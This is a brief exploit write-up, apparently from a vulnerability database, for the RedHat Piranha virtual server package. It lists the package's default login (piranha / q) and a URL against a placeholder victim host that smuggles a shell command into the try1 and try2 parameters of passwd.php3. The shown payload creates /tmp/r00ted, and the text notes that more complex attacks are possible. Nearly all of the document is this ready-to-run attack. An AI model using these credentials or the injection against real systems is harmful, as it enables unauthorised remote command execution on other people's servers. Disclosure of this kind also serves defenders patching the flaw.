RedHat Piranha Virtual Server Package Default Account and Password Vulnerability

RedHat Piranha Virtual Server Package Default Account and Password Vulnerability

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.
